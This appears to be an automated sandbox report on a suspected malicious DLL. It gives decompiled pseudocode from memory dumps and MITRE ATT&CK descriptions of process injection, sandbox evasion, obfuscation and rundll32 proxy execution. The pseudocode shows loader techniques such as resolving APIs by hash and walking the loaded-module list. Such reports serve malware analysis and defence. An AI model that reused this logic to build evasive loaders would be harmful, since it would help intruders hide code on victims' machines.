0x70aa95a6
0x70aa95bc
0x70aa95c5
0x70aa95dc
0x00000000
0x00000000
0x00000000
0x70aa95dc
0x70aa95c7
0x70aa95c7
0x00000000
0x70aa95bc

Strings

, xrefs: 70AA9947

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 4da791d23ea9081e4bcc915a4a84c989f5d97c3cf0c4cd625fbeb535d07cbc76
Instruction ID: 4ebc392adc018569cf1b0e60780eee96b025ca5b995b8de5a07345ec90d4ddb7
Opcode Fuzzy Hash: 4da791d23ea9081e4bcc915a4a84c989f5d97c3cf0c4cd625fbeb535d07cbc76
Instruction Fuzzy Hash: C922D0B08083958BDB16CF15C89176EBBF5BF89300F10886EE9D60B2D9D3359D45DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 70AA14D8, Relevance: .6, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E70AA14D8(signed char __eax, signed char __edx) {
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed char _t231;
				signed char _t233;
				signed char _t238;
				intOrPtr _t241;
				void* _t246;
				signed char _t257;
				signed char _t261;
				signed char _t269;
				signed char _t270;
				signed char _t277;
				signed int _t279;
				signed char _t280;
				signed char _t281;
				void* _t289;
				void* _t290;
				signed char _t315;
				void* _t319;
				signed char _t334;
				signed char _t336;
				void* _t341;
				void* _t347;
				intOrPtr _t352;
				signed char _t354;
				signed char _t363;
				void* _t369;
				intOrPtr _t371;
				signed short* _t373;
				void _t375;
				void* _t379;
				signed int _t381;
				void* _t382;
				void** _t383;
				void* _t384;
				char* _t387;
				signed char _t395;
				signed char* _t396;
				intOrPtr _t400;
				signed int _t451;
				intOrPtr* _t455;
				signed char _t456;
				signed int _t462;
				void* _t467;
				signed char _t471;
				signed char _t472;
				signed char* _t477;
				signed char _t487;
				signed int _t490;
				intOrPtr* _t496;
				intOrPtr _t497;
				signed char _t498;
				signed char _t499;
				intOrPtr _t500;
				signed char _t508;
				intOrPtr _t510;
				void* _t513;
				signed char _t519;
				intOrPtr* _t524;
				signed char _t525;
				signed char _t526;
				signed char _t527;
				signed char _t529;
				signed char* _t531;
				signed char _t532;
				void* _t533;
				void* _t534;
				signed char* _t535;

				_t535[0x54] = __edx;
				 *_t535 = __eax;
				_t231 = E70AA03A0(__edx, 1);
				if(_t231 != 0) {
					return _t231;
				}
				_t535[0x2c] = _t231;
				if( *0x70aad208 == 0 ||  *0x70aad2e4 != 0) {
					L44:
					if( *_t535 == 0) {
						return 0;
					}
					_t233 =  *_t535;
					_t371 =  *((intOrPtr*)(_t233 + 0x3c));
					_t510 =  *((intOrPtr*)(_t371 + _t233 + 0x78));
					_t535[0x130] =  *((intOrPtr*)(_t371 + _t233 + 0x7c)) + _t510;
					_t524 =  *((intOrPtr*)(_t510 + _t233 + 0x20)) + _t233;
					_t373 =  *((intOrPtr*)(_t510 + _t233 + 0x24)) + _t233;
					if( *((intOrPtr*)(_t510 + _t233 + 0x18)) <= 0) {
						L77:
						 *_t535 = 0;
						_t535[0x2c] = 0;
						L78:
						return  *_t535;
					}
					_t535[0x12c] = 0;
					_t535[0x174] = _t535[0x54] ^ 0x212ae3b8;
					do {
						_t467 = 0;
						_t387 =  *_t524 +  *_t535;
						_t238 =  *_t387;
						_t535[0x58] = _t238;
						if(_t238 == 0) {
							L49:
							if(E70AA4BE0( &(_t535[0x58]), _t467) == _t535[0x174]) {
								_t535[0x2c] = 0;
								_t241 =  *((intOrPtr*)( *((intOrPtr*)(_t510 +  *_t535 + 0x1c)) +  *_t535 + ( *_t373 & 0x0000ffff) * 4));
								__eflags = _t241 - _t510;
								if(_t241 < _t510) {
									L57:
									_t471 =  *_t535 + _t241;
									__eflags = _t471;
									 *_t535 = _t471;
									_t535[0x2c] = _t471;
									L58:
									__eflags =  *_t535;
									if( *_t535 == 0) {
										goto L78;
									}
									__eflags =  *0x70aad2ec |  *0x70aad2ed;
									if(( *0x70aad2ec |  *0x70aad2ed) == 0) {
										_t525 =  *0x70aad208; // 0xff1340
										__eflags = _t525;
										if(_t525 == 0) {
											 *0x70aad2ec = 1;
											_t526 = E70AA3558(0x1c4);
											__eflags = _t526;
											if(_t526 == 0) {
												_t526 = 0;
												__eflags = 0;
											} else {
												E70AA1CCC(_t526, 0x10);
												 *(_t526 + 0x1c0) = 0;
											}
											 *0x70aad208 = _t526;
											 *0x70aad2ec = 0;
											L68:
											_t246 = 0;
											_t472 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *(_t472 + _t526 + 8);
												if( *(_t472 + _t526 + 8) == 0) {
													break;
												}
												_t246 = _t246 + 1;
												_t472 = _t472 + 0x1c;
												__eflags = _t246 - 0x10;
												if(_t246 < 0x10) {
													continue;
												}
												_t375 = E70AA3558(0x1c4);
												__eflags = _t375;
												if(_t375 == 0) {
													_t375 = 0;
													__eflags = 0;
												} else {
													E70AA1CCC(_t375, 0x10);
													 *(_t375 + 0x1c0) = 0;
												}
												 *(_t375 + 0x14) = _t535[0x2c];
												E70A9E070(_t375,  &(_t535[0x58]));
												 *(_t375 + 8) = _t535[0x54];
												 *(_t526 + 0x1c0) = _t375;
												L76:
												 *_t535 = _t535[0x2c];
												goto L78;
											}
											_t527 = _t526 + _t472;
											__eflags = _t527;
											 *((intOrPtr*)(_t527 + 0x14)) =  *((intOrPtr*)( &(_t535[0x58]) - 0x2c));
											E70A9E070(_t527,  &(_t535[0x58]));
											 *(_t527 + 8) = _t535[0x54];
											goto L76;
										}
										_t257 =  *(_t525 + 0x1c0);
										while(1) {
											__eflags = _t257;
											if(_t257 == 0) {
												goto L68;
											}
											_t526 = _t257;
											_t257 =  *(_t257 + 0x1c0);
										}
										goto L68;
									}
									__eflags = _t535[0x54] - 0xd926c223;
									if(_t535[0x54] == 0xd926c223) {
										 *0x70aad20c =  *_t535;
									} else {
										__eflags = _t535[0x54] - 0x80febacc;
										if(_t535[0x54] == 0x80febacc) {
											 *0x70aad210 =  *_t535;
										}
									}
									goto L78;
								}
								__eflags = _t241 - _t535[0x130];
								if(_t241 >= _t535[0x130]) {
									goto L57;
								}
								_t535[0x130] =  &(_t535[0x58]);
								_t261 = E70A9E94C( &(_t535[0x58]), 0x7fffffff);
								_t477 =  &(_t535[0x12c]);
								 *_t477 = _t261;
								_t477[2] = _t261 + 1;
								_t395 = E70AA2F94(0xa5eabdf8, 0x9766f056, 0xa5eabdf8, 0xa5eabdf8);
								__eflags = _t395;
								if(_t395 != 0) {
									_t202 =  &(_t535[0x12c]); // 0x100
									 *_t395(_t535[0xc], _t202, 0,  &(_t535[0x2c]));
								}
								 *_t535 = _t535[0x2c];
								goto L58;
							}
							goto L50;
						} else {
							goto L48;
						}
						do {
							L48:
							_t467 = _t467 + 1;
							_t270 =  *((intOrPtr*)(_t467 + _t387));
							_t535[_t467 + 0x58] = _t270;
						} while (_t270 != 0);
						goto L49;
						L50:
						_t524 = _t524 + 4;
						_t396 =  &(_t535[0x12c]);
						_t373 =  &(_t373[1]);
						_t269 =  *_t396 + 1;
						 *_t396 = _t269;
					} while (_t269 <  *((intOrPtr*)(_t510 +  *_t535 + 0x18)));
					goto L77;
				} else {
					_t535[0x30] = 0;
					 *0x70aad2e4 = 1;
					E70A9F620( &(_t535[0x38]), 0);
					E70A9F620( &(_t535[0x168]), 0x1c);
					_t535[0x58] = E70A9F558( &(_t535[0x168]), 0);
					_t400 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0xc));
					_t535[0x48] =  *(_t400 + 0xc);
					_t535[0x60] =  *(_t400 + 0x10);
					goto L5;
					L6:
					_t384 = 0;
					do {
						if(( *(_t529 + 0x24) & 0x20000000) == 0) {
							goto L13;
						}
						_t513 =  *((intOrPtr*)(_t529 + 0xc)) + _t535[0x58] +  *((intOrPtr*)(_t529 + 8));
						_t496 = E70AA2F94(0xa5eabdf8, 0x22dc1034, _t279, _t279);
						if(_t496 == 0) {
							L10:
							_t456 = _t535[0x50];
							_t497 =  *((intOrPtr*)(_t529 + 0xc));
							_t498 = _t497 + _t456;
							_t500 =  *((intOrPtr*)(_t529 + 8));
							_t535[0x28] = _t498;
							_t499 = _t498 + _t500;
							_t363 =  *(_t535[0x58]) - _t456 - _t497 - _t500 -  *((intOrPtr*)(_t535[0x58] + 0xc));
							_t535[0x24] = _t529;
							_t535[0x20] =  *(_t535[0x48] + 0x30);
							if((_t499 & 0x00000003) == 0) {
								L12:
								_t535[0x1c] = _t363;
								_t535[0x18] = _t499;
								E70A9F8C4( &(_t535[0xc]), E70A9F568( &(_t535[8])) + 0x14);
								_t369 = E70A9F558( &(_t535[0xc]), E70A9F568( &(_t535[8])) + 0xffffffec);
								_t462 = 5;
								_t279 = memcpy(_t369,  &(_t535[0x18]), _t462 << 2);
								_t535 =  &(_t535[0xc]);
								_t535[4] = _t535[4] + 1;
								goto L13;
							} else {
								goto L11;
							}
							do {
								L11:
								_t499 = _t499 + 1;
								_t363 = _t363 - 1;
							} while ((_t499 & 0x00000003) != 0);
							goto L12;
						}
						_t279 =  *_t496(0xffffffff, _t513, 0, _t535[0x60], 0x1c, 0);
						if(0 < 0) {
							goto L13;
						}
						goto L10;
						L13:
						_t384 = _t384 + 1;
						_t529 = _t529 + 0x28;
					} while (_t384 < _t535[0x5c]);
					L14:
					_t280 = _t535[4];
					_t535[0x44] = _t280;
					if(_t280 <= 1) {
						L21:
						if(_t535[0x44] <= 0) {
							L24:
							_t281 = _t535[0x48];
							_t556 = _t281 - _t535[0x60];
							if(_t281 != _t535[0x60]) {
								_t535[0x48] =  *_t281;
								E70A9F6F0( &(_t535[8]));
								L5:
								_t277 =  *(_t535[0x48] + 0x18);
								_t535[0x50] = _t277;
								_t535[4] = 0;
								_t379 =  *((intOrPtr*)(_t277 + 0x3c)) + _t277;
								E70A9F620( &(_t535[0xc]), 0);
								_t279 =  *(_t379 + 6) & 0x0000ffff;
								_t535[0x5c] = _t279;
								_t529 = _t379 + ( *(_t379 + 0x14) & 0x0000ffff) + 0x18;
								if(_t279 <= 0) {
									goto L14;
								}
								goto L6;
							}
							E70A9F6F0( &(_t535[8]));
							E70A9F6F0( &(_t535[0x164]));
							E70A9F620( &(_t535[0x48]), 0);
							_t535[0x18] = 0;
							E70A9F620( &(_t535[0x20]), 0);
							_push(0xa5eabdf8);
							_t289 = E70AA1DD0(0xa5eabdf8);
							_t290 = E70AA1388( &(_t535[0x154]), _t517, _t556);
							_push(_t290);
							_push(_t290);
							E70AA1D08( &(_t535[0x164]), 0xa5eabdf8);
							_t518 =  &(_t535[0x178]);
							E70A9D0D0( &(_t535[0x178]) - 0x24,  &(_t535[0x178]), _t535[0x15c]);
							_push(0x80);
							_push(0);
							E70AA5C40( &(_t535[0x114]), _t556, _t535[0x184], 1);
							E70AA5C74( &(_t535[0x180]) - 0x7c, _t556,  &(_t535[0x180]), 0);
							_push(_t289);
							E70AA8D74( &(_t535[0xe4]),  &(_t535[0x180]), 2);
							E70A9F6F0( &(_t535[0x180]));
							_t557 = _t535[0x114];
							if(_t535[0x114] != 0) {
								E70A9BC00( &(_t535[0x110]));
							}
							E70A9D098( &(_t535[0x104]));
							E70A9D098(_t518);
							E70A9D098( &(_t535[0x15c]));
							E70A9D098( &(_t535[0x154]));
							E70AA9058( &(_t535[0xdc]), 0xffffffff);
							_t535[0x118] = _t535[0xf0];
							E70A9F6B4( &(_t535[0x11c]), _t557,  &(_t535[0xf4]));
							_push(1);
							E70AA901C( &(_t535[0x11c]));
							_t381 = 0;
							_t535[0x64] = 0;
							_t535[0x60] = 0;
							do {
								_t535[0x58] = E70A9F558( &(_t535[0x38]), _t535[0x60]);
								_t535[0x70] = E70A9F568( &(_t535[0x44]));
								_t519 =  *(0x70aabce0 + _t381 * 4);
								_t531 = E70AA8FE8( &(_t535[0xf4]), _t519, _t519);
								if(_t531 == 0) {
									goto L42;
								}
								_t508 = E70AA8754( &(_t535[0x11c]), _t519,  *_t531);
								_t532 =  *_t531;
								while(_t532 ==  *_t508) {
									_t508 = _t508 + 8;
									__eflags = _t508;
								}
								_t315 =  *_t508;
								_t535[0x74] = _t315;
								_t535[0x78] = _t315 - _t532;
								if(_t381 != 0) {
									L38:
									_t535[0x68] = E70A9F568( &(_t535[0x44]));
									_t535[0x6c] = _t519;
									E70A9F578( &(_t535[0x4c]), _t562, _t532, _t535[0x78]);
									_t319 = E70A9F568( &(_t535[0x44]));
									_t487 = _t535[0x58];
									_t563 = _t319 -  *((intOrPtr*)(_t487 + 4));
									if(_t319 <=  *((intOrPtr*)(_t487 + 4))) {
										E70A9F8C4( &(_t535[0x20]), E70A9F568( &(_t535[0x1c])) + 8);
										E70A9F558( &(_t535[0x20]), E70A9F568( &(_t535[0x1c])) + 0xfffffff8);
										asm("movsd");
										asm("movsd");
										_t535[0x18] = _t535[0x18] + 1;
										__eflags = _t381 - 0x1d;
										if(__eflags == 0) {
											_t228 =  &(_t535[0x44]); // 0x2c
											E70AA30A4(_t535[0x58], _t228, __eflags,  &(_t535[0x18]));
										}
										goto L42;
									}
									E70A9F8C4( &(_t535[0x48]), _t535[0x70]);
									E70AA30A4(_t535[0x58],  &(_t535[0x44]), _t563,  &(_t535[0x18]));
									E70A9F8DC( &(_t535[0x44]), _t563);
									E70A9F8DC( &(_t535[0x1c]), _t563);
									_t381 = _t381 - 1;
									_t334 = _t535[0x64] + 1;
									_t535[0x60] = _t535[0x60] + 0x14;
									_t535[0x18] = 0;
									_t535[0x64] = _t334;
									if(_t334 == _t535[0x30]) {
										break;
									}
									goto L42;
								}
								E70AA90A8( &(_t535[0x134]), _t519);
								_t535[0x5c] = _t532;
								while(1) {
									_t336 = _t535[0x5c];
									_t562 =  *_t336 - 0xb8;
									if( *_t336 == 0xb8) {
										break;
									}
									_t490 = _t535[0x5c] + E70AA9070( &(_t535[0x138]), __eflags, _t535[0x74]);
									_t535[0x5c] = _t490;
									__eflags = _t490 -  *_t508;
									if(__eflags < 0) {
										continue;
									}
									L37:
									E70A9F6F0( &(_t535[0x144]));
									E70A9F6F0( &(_t535[0x134]));
									goto L38;
								}
								 *0x70aad2e8 =  *((intOrPtr*)(_t336 + 1));
								goto L37;
								L42:
								_t381 = _t381 + 1;
							} while (_t381 < 0x1e);
							E70A9F6F0( &(_t535[0x11c]));
							E70AA8DD4(_t381,  &(_t535[0xd8]));
							E70A9F6F0( &(_t535[0x1c]));
							E70A9F6F0( &(_t535[0x44]));
							E70A9F6F0( &(_t535[0x34]));
							goto L44;
						}
						_t533 = 0;
						_t382 = 0;
						do {
							_t341 = E70A9F558( &(_t535[0xc]), _t382);
							_t517 = _t341;
							E70A9F8C4( &(_t535[0x38]), E70A9F568( &(_t535[0x34])) + 0x14);
							_t347 = E70A9F558( &(_t535[0x38]), E70A9F568( &(_t535[0x34])) + 0xffffffec);
							_t451 = 5;
							memcpy(_t347, _t341, _t451 << 2);
							_t535 =  &(_t535[0xc]);
							_t533 = _t533 + 1;
							_t382 = _t382 + 0x14;
							_t535[0x30] = _t535[0x30] + 1;
						} while (_t533 < _t535[0x44]);
						goto L24;
					}
					_t535[0x4c] = 1;
					_t534 = 0x14;
					do {
						_t62 = _t534 - 0x14; // 0x0
						_t383 = E70A9F558( &(_t535[0xc]), _t62);
						_t455 = E70A9F558( &(_t535[0xc]), _t534);
						_t517 =  *_t383;
						_t352 =  *_t455;
						if(_t352 >= _t517 && _t352 <= _t383[1] + _t517) {
							_t383[1] =  *((intOrPtr*)(_t455 + 0x10)) - _t517;
						}
						_t534 = _t534 + 0x14;
						_t354 = _t535[0x4c] + 1;
						_t535[0x4c] = _t354;
					} while (_t354 < _t535[0x44]);
					_t535[0x44] = _t535[4];
					goto L21;
				}
			}

0x70aa14e4
0x70aa14eb
0x70aa14ee
0x70aa14f5
0x70aa1c77
0x70aa1c77
0x70aa14fb
0x70aa1506
0x70aa1a45
0x70aa1a49
0x00000000
0x70aa1cc8
0x70aa1a4f
0x70aa1a52
0x70aa1a55
0x70aa1a5f
0x70aa1a6e
0x70aa1a70
0x70aa1a77
0x70aa1c61
0x70aa1c63
0x70aa1c66
0x70aa1c6a
0x00000000
0x70aa1c6a
0x70aa1a86
0x70aa1a91
0x70aa1a98
0x70aa1a9b
0x70aa1a9d
0x70aa1aa0
0x70aa1aa3
0x70aa1aa9
0x70aa1ab7
0x70aa1ac7
0x70aa1aec
0x70aa1afd
0x70aa1b00
0x70aa1b02
0x70aa1b66
0x70aa1b69
0x70aa1b69
0x70aa1b6b
0x70aa1b6e
0x70aa1b72
0x70aa1b72
0x70aa1b76
0x00000000
0x00000000
0x70aa1b83
0x70aa1b89
0x70aa1bbd
0x70aa1bc3
0x70aa1bc5
0x70aa1c94
0x70aa1c9c
0x70aa1c9f
0x70aa1ca1
0x70aa1cb8
0x70aa1cb8
0x70aa1ca3
0x70aa1ca7
0x70aa1cac
0x70aa1cac
0x70aa1cba
0x70aa1cc0
0x70aa1bdf
0x70aa1bdf
0x70aa1be1
0x70aa1be1
0x70aa1be3
0x70aa1be3
0x70aa1be8
0x00000000
0x00000000
0x70aa1bea
0x70aa1beb
0x70aa1bee
0x70aa1bf1
0x00000000
0x00000000
0x70aa1bfd
0x70aa1c00
0x70aa1c02
0x70aa1c19
0x70aa1c19
0x70aa1c04
0x70aa1c08
0x70aa1c0d
0x70aa1c0d
0x70aa1c26
0x70aa1c29
0x70aa1c32
0x70aa1c35
0x70aa1c58
0x70aa1c5c
0x00000000
0x70aa1c5c
0x70aa1c3d
0x70aa1c3d
0x70aa1c49
0x70aa1c4c
0x70aa1c55
0x00000000
0x70aa1c55
0x70aa1bcb
0x70aa1bdb
0x70aa1bdb
0x70aa1bdd
0x00000000
0x00000000
0x70aa1bd3
0x70aa1bd5
0x70aa1bd5
0x00000000
0x70aa1bdb
0x70aa1b8b
0x70aa1b93
0x70aa1bb3
0x70aa1b95
0x70aa1b95
0x70aa1b9d
0x70aa1ba6
0x70aa1ba6
0x70aa1b9d
0x00000000
0x70aa1b93
0x70aa1b04
0x70aa1b0b
0x00000000
0x00000000
0x70aa1b18
0x70aa1b1e
0x70aa1b23
0x70aa1b2a
0x70aa1b2e
0x70aa1b43
0x70aa1b45
0x70aa1b47
0x70aa1b4d
0x70aa1b5b
0x70aa1b5b
0x70aa1b61
0x00000000
0x70aa1b61
0x00000000
0x00000000
0x00000000
0x00000000
0x70aa1aab
0x70aa1aab
0x70aa1aab
0x70aa1aac
0x70aa1aaf
0x70aa1ab3
0x00000000
0x70aa1ac9
0x70aa1acc
0x70aa1acf
0x70aa1ad8
0x70aa1adb
0x70aa1adc
0x70aa1ade
0x00000000
0x70aa1519
0x70aa151b
0x70aa1520
0x70aa152b
0x70aa1539
0x70aa154c
0x70aa1559
0x70aa1562
0x70aa1566
0x70aa156a
0x70aa15b2
0x70aa15b2
0x70aa15b4
0x70aa15bb
0x00000000
0x00000000
0x70aa15d4
0x70aa15dc
0x70aa15e0
0x70aa15f5
0x70aa15f9
0x70aa15fd
0x70aa1606
0x70aa160c
0x70aa160f
0x70aa1613
0x70aa161b
0x70aa161d
0x70aa1621
0x70aa1628
0x70aa1631
0x70aa1631
0x70aa1635
0x70aa164a
0x70aa1660
0x70aa166d
0x70aa166e
0x70aa166e
0x70aa1670
0x00000000
0x00000000
0x00000000
0x00000000
0x70aa162a
0x70aa162a
0x70aa162a
0x70aa162b
0x70aa162c
0x00000000
0x70aa162a
0x70aa15ef
0x70aa15f3
0x00000000
0x00000000
0x00000000
0x70aa1674
0x70aa1674
0x70aa1675
0x70aa1678
0x70aa1682
0x70aa1682
0x70aa1686
0x70aa168d
0x70aa16e8
0x70aa16ed
0x70aa1740
0x70aa1740
0x70aa1744
0x70aa1748
0x70aa1572
0x70aa1575
0x70aa157a
0x70aa1580
0x70aa1583
0x70aa158a
0x70aa158e
0x70aa1595
0x70aa159e
0x70aa15a2
0x70aa15a6
0x70aa15ac
0x00000000
0x00000000
0x00000000
0x70aa15ac
0x70aa1752
0x70aa175e
0x70aa1769
0x70aa1770
0x70aa1779
0x70aa1783
0x70aa1784
0x70aa1792
0x70aa1797
0x70aa1798
0x70aa17a5
0x70aa17aa
0x70aa17bc
0x70aa17c1
0x70aa17c6
0x70aa17d8
0x70aa17ea
0x70aa17ef
0x70aa17fa
0x70aa1801
0x70aa1806
0x70aa180e
0x70aa1817
0x70aa1817
0x70aa1823
0x70aa182a
0x70aa1836
0x70aa1842
0x70aa1850
0x70aa1861
0x70aa1868
0x70aa186d
0x70aa1876
0x70aa187b
0x70aa187d
0x70aa1881
0x70aa1885
0x70aa1892
0x70aa189f
0x70aa18a3
0x70aa18b7
0x70aa18bb
0x00000000
0x00000000
0x70aa18d0
0x70aa18d2
0x70aa18da
0x70aa18d7
0x70aa18d7
0x70aa18d7
0x70aa18de
0x70aa18e0
0x70aa18e6
0x70aa18ec
0x70aa1948
0x70aa1951
0x70aa1955
0x70aa1962
0x70aa196b
0x70aa1970
0x70aa1974
0x70aa1977
0x70aa19d8
0x70aa19ee
0x70aa19f9
0x70aa19fa
0x70aa19fb
0x70aa19ff
0x70aa1a02
0x70aa1c82
0x70aa1c85
0x70aa1c85
0x00000000
0x70aa1a02
0x70aa1981
0x70aa1991
0x70aa199a
0x70aa19a3
0x70aa19ac
0x70aa19ad
0x70aa19ae
0x70aa19b3
0x70aa19bb
0x70aa19c3
0x00000000
0x00000000
0x00000000
0x70aa19c5
0x70aa18f5
0x70aa18fa
0x70aa18fe
0x70aa18fe
0x70aa1902
0x70aa1905
0x00000000
0x00000000
0x70aa1926
0x70aa1928
0x70aa192c
0x70aa192e
0x00000000
0x00000000
0x70aa1930
0x70aa1937
0x70aa1943
0x00000000
0x70aa1943
0x70aa190a
0x00000000
0x70aa1a08
0x70aa1a08
0x70aa1a09
0x70aa1a19
0x70aa1a25
0x70aa1a2e
0x70aa1a37
0x70aa1a40
0x00000000
0x70aa1a40
0x70aa16ef
0x70aa16f1
0x70aa16f3
0x70aa16f8
0x70aa16fd
0x70aa1710
0x70aa1726
0x70aa172f
0x70aa1730
0x70aa1730
0x70aa1732
0x70aa1733
0x70aa1736
0x70aa173a
0x00000000
0x70aa16f3
0x70aa168f
0x70aa1699
0x70aa169a
0x70aa169a
0x70aa16a7
0x70aa16b3
0x70aa16b5
0x70aa16b7
0x70aa16bb
0x70aa16cb
0x70aa16cb
0x70aa16d2
0x70aa16d5
0x70aa16d6
0x70aa16da
0x70aa16e4
0x00000000
0x70aa16e4

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74db6a803f83ed71f48527647ca681d6d5bdb5f7eea373eca6c8a33816b105f3
Instruction ID: b04e678a783c6f9c34ac420fb2b507af28bf6b9aa02cb54f37f1a54e11b2ba49
Opcode Fuzzy Hash: 74db6a803f83ed71f48527647ca681d6d5bdb5f7eea373eca6c8a33816b105f3
Instruction Fuzzy Hash: 11327BB16083459FC715DF24C981AAEB7F4EF98300F50892DF596872A8EB70E945CB52

Uniqueness

Uniqueness Score: -1.00%

Function 70A96DC8, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E70A96DC8() {

				 *0x70aad280 = GetUserNameW;
				 *0x70AAD284 = MessageBoxW;
				 *0x70AAD288 = GetLastError;
				 *0x70AAD28C = CreateFileA;
				 *0x70AAD290 = DebugBreak;
				 *0x70AAD294 = FlushFileBuffers;
				 *0x70AAD298 = FreeEnvironmentStringsA;
				 *0x70AAD29C = GetConsoleOutputCP;
				 *0x70AAD2A0 = GetEnvironmentStrings;
				 *0x70AAD2A4 = GetLocaleInfoA;
				 *0x70AAD2A8 = GetStartupInfoA;
				 *0x70AAD2AC = GetStringTypeA;
				 *0x70AAD2B0 = HeapValidate;
				 *0x70AAD2B4 = IsBadReadPtr;
				 *0x70AAD2B8 = LCMapStringA;
				 *0x70AAD2BC = LoadLibraryA;
				 *0x70AAD2C0 = OutputDebugStringA;
				return 0x70aad280;
			}

0x70a96dd9
0x70a96de1
0x70a96de4
0x70a96df3
0x70a96df6
0x70a96e05
0x70a96e08
0x70a96e17
0x70a96e1a
0x70a96e29
0x70a96e2c
0x70a96e3b
0x70a96e3e
0x70a96e4d
0x70a96e50
0x70a96e5f
0x70a96e62
0x70a96e65

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b599a480032187f9406f8f1384b471370344d7b8121e247a23a1c2119984dd6
Instruction ID: 223b29f1a9a146c37443c0b04adeefebfbb86ed97fba4a0a18dbdd8bc9983c3f
Opcode Fuzzy Hash: 0b599a480032187f9406f8f1384b471370344d7b8121e247a23a1c2119984dd6
Instruction Fuzzy Hash: F011E2F9A15601CFC348CF8AD590A517BF1FBAC310B22819AD90A8B3B5D734D946DF94

Uniqueness

Uniqueness Score: -1.00%

Function 70A9BC00, Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E70A9BC00(intOrPtr* __ecx) {
				void* _t1;
				intOrPtr* _t4;

				_t4 = __ecx;
				_t1 = E70A9C33C(__ecx);
				if(_t1 != 0) {
					L4:
					return _t1;
				} else {
					_t1 = E70AA2F8C(0xa5eabdf8, 0x2c2324e8);
					if(_t1 == 0) {
						 *_t4 = 0;
						goto L4;
					} else {
						_push( *_t4);
						asm("int3");
						return _t1;
					}
				}
			}

0x70a9bc01
0x70a9bc03
0x70a9bc0a
0x70a9bc29
0x70a9bc2a
0x70a9bc0c
0x70a9bc16
0x70a9bc1d
0x70a9bc23
0x00000000
0x70a9bc1f
0x70a9bc1f
0x70a9bc21
0x70a9bc22
0x70a9bc22
0x70a9bc1d

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 229d0e70dd984517c4ff88a566391a3803afd3012da0cf9cedecb5fa3dd55369
Instruction ID: 5465964ca261eec09152b4021af0c12ce4c76e35ec5b8d38dc15cbb8e0629500
Opcode Fuzzy Hash: 229d0e70dd984517c4ff88a566391a3803afd3012da0cf9cedecb5fa3dd55369
Instruction Fuzzy Hash: 95D012B22202426ADF151739FF0071DE7E94FC9151F54085A65016B06DCFA6C4614528

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
